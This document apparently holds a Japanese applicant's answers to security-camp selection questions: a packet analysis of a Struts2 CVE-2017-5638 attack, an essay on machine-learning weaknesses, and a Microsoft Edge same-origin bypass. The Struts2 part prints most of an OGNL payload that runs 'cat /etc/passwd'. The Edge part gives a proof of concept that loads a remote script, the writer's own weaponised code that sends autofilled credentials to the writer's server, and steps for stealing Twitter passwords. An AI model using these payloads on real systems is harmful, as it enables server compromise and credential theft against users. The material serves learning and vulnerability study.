No.1~3の通信はTCPコネクション確立のための3ウェイハンドシェイクの通信であり、特に不審な点は見られませんでした。SYNが192.168.74.1から送信され、192.168.74.130へ送られる形でコネクション確立が行われました。

No.4 HTTPのGET requestが192.168.74.1から192.168.74.130の/struts2-rest-showcase/orders.xhtmlへ送信されています。ここで、192.168.74.130はWebサーバであったということがわかります。また、この通信はブラウザからhttp://192.168.74.130/:8080struts2-rest-showcase/orders.xhtmlにアクセスした通信と似たものです。しかし、このパケットをよく見てみると、ContentTypeが非常に不審で何かコードのようなものが入っています。私はこれを見ても何をやっているのか判別することができなかったので、「Struts2 脆弱性」などをGoogle検索してみると、Apache Struts2のあるバージョンで深刻な脆弱性が存在しており、このパケットもその脆弱性を利用した攻撃であるということがわかりました。この脆弱性を悪用した攻撃の要旨としては、GETリクエストのContent-Typeにパースに失敗するような値を入れると、エラーの際にその内容が表示されるようですが、エラー出力する際に入力値を含む文字列がOGNL形式というもので解釈されたうえで出力されるため、入力値にOGNL形式で何らかの意味のある文字列を入力すると、それが実行されてしまうこと、及びそれに伴い、任意のプログラムの実行まで行われてしまうといった脆弱性であるようでした。(CVE-2017-5638)

実際にContentTypeの中身を検証してみると、
Content-type:%{(#_='multipart/form-data').~
は、Content-typeがmultipart/form-dataであるように偽装し、Jakarta Multipart parserにパースさせるようとしています。
次に、
(#_memberAccess?(#_memberAccess=#dm):*1
(#ognlUtil.getExcludedPackageNames().clear())
(#ognlUtil.getExcludedClasses().clear())
(#context.setMemberAccess(#dm))))

の部分で、メンバへのアクセスを初期化していると思われます。メンバへのアクセスは例えばjavaでclassファイルを書いたときのprivateだとかpublicだとかそうしたメンバのアクセス制限を初期化しているのではないかと予測しました。
また、次に
(#cmd='cat /etc/passwd')
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
の部分から、この攻撃での目的はユーザ名の奪取だったのではないかと予測できます。(基本的にパスワードはshadowファイルなどに保管されているため)
また、OSの名前がwindowsかどうか比較していることから、複数のOSに対応した攻撃であることが伺えます。そして、windowsである場合とlinuxである場合でどういうシェルの上で実行するのかということを変化させているというところまでがここまでの命令で行われていると考えられます。
次に
(#p=new java.lang.ProcessBuilder(#cmds))
(#p.redirectErrorStream(true))
(#process=#p.start())
という部分から、作成したコマンドを実行するプロセスを作成・起動していることが見て取れます。そして、
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))(#ros.flush())
で、先ほど作成したプロセスの出力の情報を現在のstruts2の通信の入出力ストリームへ流すように設定しています。(そうするとレスポンスのパケットに乗って情報が返ってくるはず)
以上がOGNL形式の部分の解析です。そして、またパケットに目を向けてみると、No.5以降のパケットには特にデータらしきものが見られません。そこで、この通信におけるシーケンス番号と確認応答番号に着目し、パケット間の通信のつながりについて調べました。

ここで、今回の通信の種類についてまとめると
(1)192.168.74.1の55522ポートから192.168.74.130の8080番ポートへの通信
(2)192.168.74.1の55363ポートから192.168.74.130の22番ポートへの通信(SSH
に分けられます。

まず、(1)の通信について、足りないパケットを補った上でパケットのやり取りを書き下します。
(Seqはシーケンス番号,Ackは確認応答番号のことを指します)
シーケンス番号はTCPコネクション確立時の開始番号からの相対位置で表します。
また、クライアント(192.168.74.1)をCとし、サーバー(192.168.74.130)をSとします。
//通信確立
1. C to S : SYN (Seq = 0)
2. S to C : SYN + ACK (Seq = 0, Ack = 1)
3. C to S : ACK (Seq = 1, Ack = 1)
//データ通信
4. C to S : PSH + ACK (Seq = 1, Ack = 1) //HTTP通信のデータ、DataSizeは1092Bytes
5. S to C : ACK (Seq = 1, Ack = 1093)
6. S to C : PSH + ACK (Seq = 2, Ack = 1093) //補った部分、ここで攻撃に起因する情報が送信された
7. C to S : ACK (Seq = 1093, Ack = 1464) //Ackの内容から、6.での通信のデータ量は1462Bytesだったと思われます
//切断処理
8. C to S:FIN + ACK (Seq = 1093, Ack = 1464)
9. S to C : ACK (Seq = 1464, Ack = 1094) //補った部分
10. S to C : FIN + ACK ( Seq = 1464, Ack = 1094)
11. C to S : ACK (Seq = 1094, Ack = 1465)

以上が(1)のWebサーバへのアクセスに纏わる通信であると判断できます。

また、(2)については、ssh通信であるといえる。当初、Ackスキャンなどの何らかの攻撃の一環かと考えたが、自身の環境におけるssh通信のパケットをキャプチャしてみると、例えばcatなどをしたときに、データパケットは分けて送られるが、それに対応するackのシーケンス番号には変化がなかったことから、ssh通信における正常な通信パケットであるということが予測できます。しかし、サーバからのデータパケットはこのパケット群から抜け落ちています。今回の攻撃を行うに際して、apacheのログファイルをリモートでリアルタイムで監視していたなどといったことが考えられます。(実際の攻撃環境ではあり得ないが今回は作られた問題であるため)

また、脆弱性あるApach Struts2(2.3.28.1)サーバを立てて、上記のような脆弱性をつくパケットを送信してみたところ、予想通り不正な結果が得られました。
例えば、僕の環境では、
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
….
このように出力されました。
その際には
(http://io.cyberdefense.jp/entry/2016/06/22/Docker%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%80%81Apache_Struts2%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7S2-037%E3%81%AE%E3%82%84%E3%82%89%E3%82%8C%E7%92%B0%E5%A2%83%E3%82%92%E6%89%8B%E8%BB%BD%E3%81%AB%E4%BD%9C)
を大いに参考にしました。
参考URL:
https://tools.ietf.org/html/rfc793
http://www.infraexpert.com/study/tcpip9.html

選択問題2

機械学習の弱点は何だと思いますか?

 私は、機械学習については初学者なので、まずは、機械学習について改めて調べるところから始めました。
 wikipediahttps://ja.wikipedia.org/wiki/%E6%A9%9F%E6%A2%B0%E5%AD%A6%E7%BF%92)によると、「機械学習とは人工知能における研究課題の一つで、人間が自然に行っている学習能力と同様の機能をコンピュータで実現しようとする技術・手法のことである。」とされています。私が認識する機械学習の定義もこれには大きく外れていなかったので、これを採用したいと思います。つまり、人間のように学習し、何らかの処理を実行するような構造をコンピュータ上で再現しようとするというものであります。この実現のための技法として、遺伝的プログラミングSVMニューラルネットワーク、強化学習など様々なものが存在している、という風に考えることができます。また、技法については現在も世界中で多くの研究者や企業によって研究がなされています。特に、ニューラルネットワークを用いた、DeepLearningは今ブームが起きており、非常に社会からの注目度が高い技術でもあります。また、そうした中で今まで実現は難しいと考えられていたもの、例えば囲碁AIなどが実現されてしまったことにより人々の中に機械学習は全ての問題を解くことが出来るのではないかという期待が俄かに生じているように思われます。また、機械学習の進展により人工知能が目覚ましく発達し、シンギュラリティと呼ばれるAIが人間を超える日が来るのではないかとも言われています。しかし、私はその実現性には疑問を持っています。
 まず理由として挙げられるのが、機械学習アルゴリズムは教師あり・教師なしに関わらず与えられたり、出力されたりするデータの人間による意味づけ・ラベル付けが必要不可欠であることが言えます。教師あり学習に関しては与えるデータへのラベル付けは人間が行う必要がありますし、人間にとって意味づけが分類が難しいようなものは入力として与えることが難しいかもしくは正当でない入力となります。例えば、そうしたものの中には、人間の表情なども含まれるのではないかと思います。人間にとっても悲しい顔というものを見分けることは難しく、人間の顔が真に悲しい顔であるのかは人間にもわかりません。そうした意味で、正当でない可能性のある曖昧な入力の下で導き出された結果は必ずしも正当なものであるという保証を付けることは難しいです。また、教師なし学習にしても、学習した結果によって導かれる何らかの判断や結果を人間が理解できなければ、意味を持ちません。また、人間が理解できずにその結果のみを用いるという危険性も存在するかと思います。これは実社会の重要な部分において機械学習アルゴリズムを用いづらい要因の一つでもあるのではないかと思います。以上を踏まえて考えてみると、機械学習による結果が人間の知能を超えてしまったと仮定したとき、それは人間にとって意味を為さないものもしくは大変危険なものとなってしまう可能性を持っているのではないかと考えます。
 しかし、一方で人間の脳の活動を完全に模倣した機械を作成することができれば、人間と同じような処理が実行可能なのではないかという疑問は生じてしかるべきであると考えます。このトピックについて深く調査をすることで、私はニューラルネットワークとは、歴史的には人間の処理を模倣することでの処理を目的としていたようだが、現在は人間の脳などのモデルとは乖離したモデルとなっているという知見を得られました。機械学習研究者たちは、当初単純なニューラルネットワークを改善していく上で、バックプロパゲーションや誤差伝搬を防ぐためのLSTMなど種々の技法を用いることによって機械学習の精度を高めてきました。そしてこれらの技法は成果を上げ、今日では多く使われている技法でもあります。これらは忘却の概念など一見して人間の脳かのような概念が取り入れられていたりしますが、真に人間の脳がこのような機構になっているのか、ということはまだ解明されておらず、私たちにはわかりません。ゆえにニューラルネットワークが脳を模倣しているとは必ずしも言うことができません。加えて、ニューラルネットワークは非常に理想的・理論的なものであり、例えばニューロン間のエッジが理由なく消えてしまったりといったことはありません。それにより何かが喪失してしまうといったこともありません。ゆえに昨今見られるニューラルネットワークは脳の模倣であると主張することは難しいように思います。
 では、人間の脳を模倣した機械学習がないかといえば、そうではないということもわかりました。例えば、IBMが2014年に発表したTrueNorthは、人間の脳にインスパイアされて作成されているとのことです。具体的には人間の脳内で神経細胞同士が互いに電磁的な信号を取り交わしている仕組みをハードウェア上で模倣しているということです。これまでのニューラルネットワークは基本的にソフトウェア上での模倣ですから、より人間の脳へ一歩近づいたということが言えるのではないかと思います。しかし、構造自体はニューラルネットワークと変わらず、ニューラルネットワークと同様の疑問がまだまだ生じるものであると考えられます。多くの文献にもあるように、人間の脳は20W程度の電力で稼働しているように、ニューラルネットワークの各ノードの演算には、そこまで多量な電力は必要ない、そこで専用チップを使うことで省電力・高速演算を計っているといった意味以上のものはないのではないかと考えます。(それでも十分社会的に素晴らしい貢献であるとは感じます)最も、私には人間の脳とは何がどう違うのか、という指摘を行うことは難しくもあります。また、各国で大規模な脳模倣型計算機のプロジェクトが動き出しています。キーワードとしてはneuromorphic computerというワードがあります。これはフォンノイマン型コンピュータアーキテクチャから脱却し、脳を真の意味で模倣したコンピュータアーキテクチャのことです。(もちろんそうはならないのではないかという指摘はあります)しかし、そもそもコンピュータ技術の発展に比して、人間のセンシティブな情報に関わる脳の解明は進んでいないように思われます。例えば、最もセンシティブな内容でいえば、人間の脳がなぜ恋愛感情を持つのかといったことは多くの人が興味を持ちながらも未だに解明されていない問題として有名です。こうした脳の解明が進まない要因の一つにっは、脳は倫理上直接触れて観察したり、外部から刺激を与えてみるなどといった種々の実験を行うことは禁止されています。そのため、非接触的な形で脳に触れることなく外から観測する技術の研究が進歩していますが、1000億個以上ある神経細胞の100万kmにも及ぶネットワークを触れずに解析することには限界があるのではないかと思います。勿論、動物の脳の多くは、どこが発達しているかといった差異はあるが、本質的には人間と同じ構造をしているそうで、比較的実験に対する障壁も少ないかとは思います。しかし、やはり高度な知性を持つ人間ならではの難しい情動などを解析することは難しいように思われます。そうした中で果たしてneuromorphic computerというものを設計することができるのだろうか、という点については疑問を感じます。また、物理的な制約についても非常に注目すべき事柄であり、具体的に言えばハードウェアによって実現されるニューロンの数及びそれをつなぐネットワークの実現です。例えば、TrueNorthのニューロンの数は100万個であり、人間のニューロンである1000億個には遠く及びません。こうした構造設計上での未解決な問題及びハードウェアの制約などから現在想像出来うる技術の範疇で言えば脳の模倣は難しいのではないかと考えられます。こうした事情を踏まえると、やはりコンピュータが人間を模倣するのはまだまだ難しく、情動などといった活動は機械学習の苦手分野であり続けると考えられます。
 以上の調べた結果から導かれる機械学習の弱点について論じたいと思います。
 まずは、機械学習の弱点とは何かを規定したいと思います。機械学習の弱点とは、修練を行った人間にとっては可能であるが、機械学習アルゴリズムを用いて学習した機械には実行することが出来ない又は難しいことを指します。
 その上で、まず前提となる考えがno-free-lunchの定理であると考えます。no-free-lunchの定理とは、全ての問題に対して他のアルゴリズムよりも高い識別・予測性を示すモデルやアルゴリズムは存在しないという定理です。それぞれ個々に最適化されたアルゴリズムを超えることはできないということです。そのため、機械学習には種々のアルゴリズムがありますが、それぞれが絶対的な解決手段とはならないということが言えるのではないかと考えられます。そのため、ある問題が与えられたとき、人間がそれらを識別し、種々の方法で評価分析し、その上でそれにあった適切なアルゴリズムを選定する必要があります。しかしそうした中で、人間が識別・分析することができない問題に対して例えば機械学習アルゴリズムを用いて問題を解こうと試みることはできるかとは思います。
 そして機械学習の最大の弱点ともいえるのは、機械学習によって学習されたアルゴリズムが導き出す結果に関して理由付けを行うことが難しいというものです。機械学習の多くは既知のデータに関して学習を行っていきます。(ランダム性を交えた自己対戦による強化学習等も存在する)そうした中で例えば、ある分類問題に関して仮に線形分離可能であっても本当にその問題が線形分離可能かは、真に全てのデータに関して線形分離可能でなければ言うことはできません。しかし、人間が何らかの分析研究によりその問題に関して一般的に成り立つ数式を立て、それを証明することが出来れば確実にそれらは線形分離可能であると言えます。このように未知の問題に関して機械学習は結果を与えることはできますが、その道筋について説明することは非常に難しいと考えられます。勿論、機械学習についてこういうカーネルを使ってこういう学習モデルで、何層のニューラルネットワークでといったことは説明し、他の手法と比較してこれだけ精度が高いといったことは解説できますが、どうしてそのような結果になるのかといったことは説明することが難しいと考えられます。私が特にそれを感じた実験例は、Distilling Free-Form Natural Laws from Experimental Data.で行われている、物理法則を自力発見する人工知能というものです。この人工知能は実験のパラメタ(振り子の位置や高さなど)を自ら設定し、その実験の結果を観測することによって「運動量保存の法則」などを導き出したそうです。機械学習はこのように自然界などにおける法則(のようなもの)を発見することはできますが、しかし、この法則を証明することはできないです。そのため、この発見された法則の正しさを他者に直接主張することは難しいです。現在観測したデータに関して一定の法則が成り立つということしかわからないのです。つまり、機械学習によってアイディアは得られますが、実際にさまざまなことを検討し、証明するのは機械が行わなければならない、ということだと考えます。
 また、機械学習アルゴリズムとデータは深い関係にあり、多くの場合、データは人間が準備します。(もちろんWeb空間を機械学習アルゴリズムがクローリングすることにより自発的に情報等を収集するアルゴリズムもある)準備されたデータを機械学習アルゴリズムが学習するという流れになります。その過程で、さまざまな問題が生じ得る可能性があります。例えば、ある問題に機械学習アルゴリズムを適用しようと思い、データセットを渡したとき、機械学習アルゴリズムははそのデータセットの情報のみしか知り得ません。(当たり前の話ではあるが)。人間の例で言えば、人間は過去の積み重ねによるデータの蓄積もしくはそのデータの蓄積から得た教訓・法則などを持っています。そのため、例えば与えられたデータを疑うということなどが可能となる。また、与えられたデータに意味がないということがわかれば、新しいデータを取得しようという動作を実行することもできます。現在の機械学習アルゴリズムにはそうした機構は組み込まれておらず、データセットの誤りや不足などに非常に弱いと言えます。
 それを解決する試みとしては、例えば含意関係認識については、前提知識を含意関係にあるとみなす文章2つの中の単語などを使ってWebクローリングを行うという手法も存在する。「含意関係認識のための機械学習全文検索」の論文などにみられる。また、機械学習アルゴリズムとデータの深い関係を示す例としては、Simple Black-Box Adversarial Perturbations for Deep Networksという論文も存在する。Deep Learningなどで使われる畳み込みニューラルネットワークについて、入力に微小な細工を施すことでCNNに誤りを起こさせるというような攻撃手法である。(今回のセキュリティキャンプのトラックにもそうしたトピックがありました)こうした技術とセキュリティに関係する問題は、対策はあれどイタチごっこの様相を呈すのではないかというのが私の所感です。果たして擾乱に対する強さと学習の精度とを両立させることは可能なのかというのは非常に興味を引く問題になるだろうと考えられます。
 次にハードウェアに関しての問題です。近年、機械学習を用いたプログラムがさまざまな問題に対応できる強力なものとなっている背景には、ハードウェアの大容量化高速化に大きな役割を果たしていることは言うまでもないことなのではないかと思います。問題解決のためのアルゴリズムとしてみた時に、ニューラルネットワークなどに代表された機械学習アルゴリズムの多くは計算量的に非常に大きなものが多いです。なので、データの構造や規則性がある程度わかっているような問題に関してはわざわざ機械学習を使う必要性はなく、形式的な推論を行うべきであると考えられる。そして、先ほども言及したように、IBMのTrueNorthやneuromorphic computerなど、機械学習特有の処理を高速化するハードウェアも登場してきてはいるが、機械学習は本来の性質上、回り道をせざるを得ないことから、やはり形式的推論アルゴリズムに比べると、高価でかつ低速であるということは言えるのではないかと考えられます。ゆえに本来は機械学習を適用すべき分野というのは慎重に選択する必要はあるのであろうと考えられます。しかし、とりあえずやってみて何らかの結果が出るという点では、機械学習は優れているとも言えます。
 以上を踏まえた上で、弱点を克服した汎用的な機械学習を示すことで、逆に機械学習の弱点をまとめようと思います。無敵ともいえる機械学習アルゴリズムは、省電力で高速なハードウェア上で実行され、データセットに対して自由にアルゴリズムが決定され、かつそのデータの正当性や有用性を検証し、正当でないならば独自にデータ空間からデータを探し出して取得し、また、一度学習した内容を次の実行にも非常に効率的に利用可能な形でストアしておけるアルゴリズムではないかと考えました。長々と条件を付けましたが、それだけ現在の機械学習にはそれだけの弱点が存在しているということ、またはそれだけ成長の可能性を残しているということだと考えます。そして現実に、上記に挙げたような諸条件を改善しようとするアルゴリズムも提案されていたりします。

選択問題7

Same Origin Policyに関する脆弱性から自分がもっとも気になっているものを選び、その脆弱性がどのようなものかを説明してください。
次に、あなたがもし悪意を持つ側だとしたら、その脆弱性をどのように悪用するかを想像して書いてください。

 ニュースサイトを見ていて、Same Origin Policyに深く関係する面白い脆弱性を見つけたので、この設問を選択しました。
 まずは、Same Origin Policy とは何かということを規定したいと思います。そもそもオリジンとは、スキーム(プロトコル)、ホスト、ポート番号によって規定されるユニークな存在のことです。例えば、httpとhttpsは同じホストへアクセスしていたとしても、オリジンが異なると言えます。その上で、異なるオリジンへの通信を無制限に許していた場合に、どういった問題が生じるのかということについて考察したいと思います。例えばブラウザでログインしているWebサイト全ての情報を抜き出し、悪意のあるサーバへPOSTすることもできます。こうしたセキュリティ上の問題を回避するためにSame Origin Policyというものが定められています。具体的には同じオリジン以外に対しての処理を制限しようというものであるとみなせると考えます。そしてこのSame Origin Policyはブラウザによって保護されることになります。例えばFirefoxChrome、Edgeなどです。つまり、Same Origin Policyに関する脆弱性はブラウザが生むということになります。
 ここで、Same Origin Policyがどのように保護されているのかということについて、実際に実験することによって試してみました。使用環境はwindows10、Google Chrome(58.0.3029.110 (64-bit))です。XMLHttpRequestについて実験をします。XMLHttpRequestは事前学習により、同一オリジンであるならば制限なくアクセスすることができるが、別のオリジンではそのアクセスに関して制約が生じるということがわかっています。実際に実行してみます。
 現在、http://www.uec.ac.jpにアクセスしているという状況です。そこで、Chromeのコンソールから以下を入力します。
> var xhr = new XMLHttpRequest(); //アクセスのためのインスタンス生成
> xhr.open(‘GET’, ‘http://www.uec.ac.jp/about/’,false); //非同期ではないので警告が出ます
> xhr.send();
> xhr.response
“<!doctype html>
..
..
..
// http://www.uec.ac.jp/about/のhtmlソースが表示されました。同じオリジンなので、GETメソッドを送信し、responseにアクセスすることが出来ています。次に、www.uec.ac.jpを開いたままの状態でConsoleからhttp://www.u-tokyo.ac.jp/index_j.htmlにアクセスを試みます。
> xhr.open('GET','http://www.u-tokyo.ac.jp/index_j.html',false);
> xhr.send();

XMLHttpRequest cannot load http://www.u-tokyo.ac.jp/index_j.html. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://www.uec.ac.jp' is therefore not allowed access.
Uncaught DOMException: Failed to execute 'send' on 'XMLHttpRequest': Failed to load 'http://www.u-tokyo.ac.jp/index_j.html'.
>xhr.response();
“”
という結果となりました。
また他の、IEFirefoxでも同様の結果が得られました。
以上からブラウザでは基本的にSame Origin Policyが守られているということが確認できました。
そこで、改めて私が説明したい脆弱性について記述します。
 私が取り扱う脆弱性はManuel Caballeroがhttp://www.brokenbrowser.com/sop-bypass-uxss-stealing-credentials-pretty-fast/で解説している、Microsoft Edgeのサーバーリダイレクトの途中でwindow.locationの内容を書き換えると、リダイレクト先をリクエスト元と認識するバグがあるようです。リダイレクト先のiframeのlocationに対してデータURIスキームでjavascriptコードを指定すると、親ドキュメント内でコードが実行できるということです。
 実際にManuel氏が公開しているhttps://www.cracking.com.ar/demos/opendata/を仮想環境の捨てアカで試してみると(nothing is sent to the netとのことではありますが一応)捨てアカのID及びパスワードが平文で出力されました。(デフォルトのオートコンプリートはonにしています)

この脆弱性についての詳細を説明します。
非常にわかりやすく解説されているので、Webページ上の例を使って説明していきたいと思います。
まずは、自分のサイトからリダイレクト先へリダイレクトします。サーバーリダイレクトを利用するので、phpでリダイレクト用のphpプログラムを書く必要があります。
このプログラムには特に変わった仕様は必要ありません。
具体的には
w = window.open(“redir.php?URL=https://www.microsoft.com”,”WIN”);
を実行します。そうすると、通常ならばredir.phpによってリダイレクトされたhttp://microsoft.comが新しいウィンドウが開かれるだけで終わります。しかしこのコード実行後に
w.Math.myself = w;
を実行することで今回の脆弱性が利用できます。
普通、オリジンの外にリダイレクトされたwindowにはその後、影響を及ぼすことはできません。また、仮に変数に保存しようとしても、普通ならば新しいウィンドウを開くときに、そのウィンドウを参照している変数を削除します。しかし、Edgeにはこれに関して抜け道があるようで、Mathなどの組み込みオブジェクトの内部に参照を配置しておけば、削除を免れるそうです。大変驚きなのですが、そうらしいです。なので、w.Mathの中にmyselfという変数を用意して、そこにwindowの参照を格納することで、それ以後もそのwindowに関して何らかの影響を与えることが出来るわけです。

次に具体的にどのように影響を与えればよいかという部分です。
javascriptを埋め込みたいと思ったときには、iframeを使うと良いそうです。
iframeはsrcに指定されたページのhtmlファイルを取ってきて、現在のページに埋め込む要素です。つまり、iframeのsrcを任意のものに変えることができれば、自由にscriptなりなんなりを埋め込むことができるというわけです。なので、iframeのロケーションにdata-uriを指定して、scriptを書けば、それが実行されるというわけです。

また、それを発展させた方法として、edgeのオートコンプリート機能を利用して、パスワードも取得することができるようです。
edgeではtypeをpasswordだとか、idだとかに設定したinputタグを設置すれば、オートコンプリートしてくれるようです。なので、inputを設置した上で、onchangeなどで、コンプリートされたら、その内容を何かするというようなスクリプトを書いてあげれば良いことになります。

例えば、公開されているPoCでは、(一部改変)
w = window.open("redir.php?WAIT=1000&URL=https://www.twitter.com","WIN1");
//twitterへのサーバーリダイレクトをし、そのwindowをwに格納
w.Math.top = w;
//本来消去されるはずのwをMath.topへ格納しておく。
window.open("javascript:alert('WAIT');Math.top[0].location='data:text /html,<script src=https://gntrua.work/opendata/inject.js><\/script>'","WIN1");}
//もう一度window.open()をすると、前に開いたWIN1でスクリプトが実行されます。また、alert()をしているので、処理がブロックされます。(これに関してはEdgeではブロックされますが、例えばFirefoxなどではサーバーリダイレクトの処理が終了した時点でブロックが解除されます。)そして、Math.top[0]にはiframeが格納されています(twitterでは0~9までに格納されています)
そして、そのiframeのlocationをデータURIを指定して、スクリプトを書きます。それによりブロックが解除された後でこのscriptが実行されます。このiframeへの操作が保存されるのは、偏にMicrosoft EdgeのMathなどの組み込みオブジェクト内のデータが初期化されないことに因ります。

PoCでは、画面上にIDとPasswordを表示するだけですが、実際に悪用できるコードを作成しました。それを以下に示します。

parent.document.body.innerHTML =
"<h1>hello world</h1>
<span id='usr'></span>
<form><img id='send'><input onchange='send.src=\"https://gntrua.work/opendata/n eko.jpg?\"+this.value'/>
<input type='password'/></form>";

というスクリプトでページを改変します。そうすると、formへMicrosoft Edgeがオートコンプリート機能で値を入力するので、それを検知してそのデータを自分のサーバへURLの形で送信させます。そうすると、自前のサーバのログ上に今回の場合だとTwitterIDが表示されます。パスワードも平文で取得できるので、パスワードを平文で記録することもできます。

これを用いた実際の攻撃のステップ
1. http://gntrua.work/へアクセスさせる。(ユーザの能動的な活動が必要)
2. http://gntrua.work/からロードされたときにtwitterへサーバーリダイレクトを起こす
3. 上記の脆弱性を利用する。
4. また、この後にtwitterを再ロードする。

そうすると、被害者に比較的バレづらく、パスワードを窃取することができるのではないかと思います。この場合アクセスしただけでパスワードを窃取されてしまう危険性があるので、非常に重篤な脆弱性ではないかと考えます。
しかし、私はこの脆弱性を自前のWebサーバ上で実現するにはいくつかの技術的問題がありました。まず、大きくわけて2つありました。一つ目は、webサーバをSSL化しなければならなかったことです。私は、SSLに対応したWebサーバを持っていませんでしたので、この機会に自作いたしました。まず、当初は普通にopensslとapacheを使ってオレオレ証明書を作ってSSL化しましたが、普通のブラウザではどうしてもエラーが出てしまって、上手く行きませんでした。そこで、let’s encryptと呼ばれるサービスを使って、権威ある証明書を作成することを試みました。しかし、私が取得していた~~.mydns.jpのドメインは~~の部分がサブドメインとみなされるようで、証明書を作ることができませんでした。なので、私は.workドメインを買って、そのドメインで証明書を発行してみると、上手くいきました。しかし、firewallの設定で443からのアクセスを許していなかったため、アクセスできませんでした。なので、iptablesを修正し、再びアクセスしてみると上手くいきました。そして、PoCを実装してみると、正常に動作してくれました。それから、PoCの改変を行い、上記した悪用が実際にできることを確認しました。


以上

*1:#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class